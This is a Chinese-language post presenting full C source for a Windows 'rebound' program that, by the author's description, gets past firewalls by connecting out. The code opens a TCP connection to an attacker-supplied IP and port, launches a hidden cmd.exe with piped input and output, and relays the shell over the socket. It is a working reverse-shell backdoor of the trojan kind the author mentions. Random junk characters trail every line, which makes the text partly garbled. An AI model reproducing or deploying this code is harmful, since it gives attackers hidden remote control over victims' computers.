这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 f24W*#IX
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/* ============================== Cn~VJ,l
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Rebound port in Windows NT J@5iD
By wind,2006/7 4 Ej->T.
===============================*/ TKB8%/_p
#include n
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#include d{S'6*`D
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#pragma comment(lib,"wsock32.lib") YV.' L
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void OutputShell(); 1>Sfv|ZP,
SOCKET sClient; )'+[,z ;s
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2;v:Z^&
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void main(int argc,char **argv) <:9ts@B
{ .LDZqWr-
WSADATA stWsaData; //7YtK6
int nRet; fd'kv
SOCKADDR_IN stSaiClient,stSaiServer; +``vnC
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if(argc != 3) %'KRbY
{ HMd?`
printf("Useage:\n\rRebound DestIP DestPort\n"); 2IB{FO/
return; n41#
} d5'Q1"{
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WSAStartup(MAKEWORD(2,2),&stWsaData); Lz 1.+:Ag
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o/{`\4
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stSaiClient.sin_family = AF_INET; *:L"#20:R
stSaiClient.sin_port = htons(0); Z<X=00,wg
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); eK7A8\;e
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~0PzRS^o
{ >$m<R&
printf("Bind Socket Failed!\n"); VIF43/>(
return; hz:7W8
} KrGl}|
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stSaiServer.sin_family = AF_INET; YS|Dw'%g /
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $Tbsre\MJ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m*y&z'e\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [Mu9"kF
{ :rb;*nY!
printf("Connect Error!"); W8& )UtWQ
return; 01mu6)
} |=q~X}DA
OutputShell(); M(C">L]8
} c+FTt(\8.
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void OutputShell() s{^B98d+W
{ sQgz}0_=)
char szBuff[1024]; zH1;h
SECURITY_ATTRIBUTES stSecurityAttributes; X_78;T)uA
OSVERSIONINFO stOsversionInfo; J1w[gf]J
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; g
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STARTUPINFO stStartupInfo; KdoI
char *szShell; a>v *
PROCESS_INFORMATION stProcessInformation; do8[wej<:
unsigned long lBytesRead; /r7xA}se^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f/Y&)#g>k
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `CWhjL8^
stSecurityAttributes.lpSecurityDescriptor = 0; yr%[IX]R
stSecurityAttributes.bInheritHandle = TRUE; .)/."V
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); fw&*;az
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); lAnq2j|
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _<AkM"
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b+~_/;Y9
stStartupInfo.wShowWindow = SW_HIDE; Z^'~iU-?
stStartupInfo.hStdInput = hReadPipe; q(n"r0)=
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `NtW+v
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GetVersionEx(&stOsversionInfo); c0o]O[
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switch(stOsversionInfo.dwPlatformId) .))g]CH
{ znrO~OK
case 1: {F<0e^*
szShell = "command.com"; 2Hd\>{*
break; 3k'Bje?9~
default: sywuS
szShell = "cmd.exe"; 4. R(`#f
break; ,&BNN]k
} +2iD9X{$MX
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j
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send(sClient,szMsg,77,0); [!)HWgx
while(1) 1J[$f>%n]
{ Cf(WO-F^
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !yv>e7g^
if(lBytesRead) cAN!5?D\
{ :E-$:\V0}k
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); xn`)I>v
send(sClient,szBuff,lBytesRead,0); d92Z;FWb
} eKOEOm+
else BWxfY^,'&6
{ O7 ;=g!j
lBytesRead=recv(sClient,szBuff,1024,0); l73%
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if(lBytesRead<=0) break; )h@PRDI_
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /xUF@%rT
} Q\4tzb]
} {}s/p9F4
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return; %?[gBf[y
}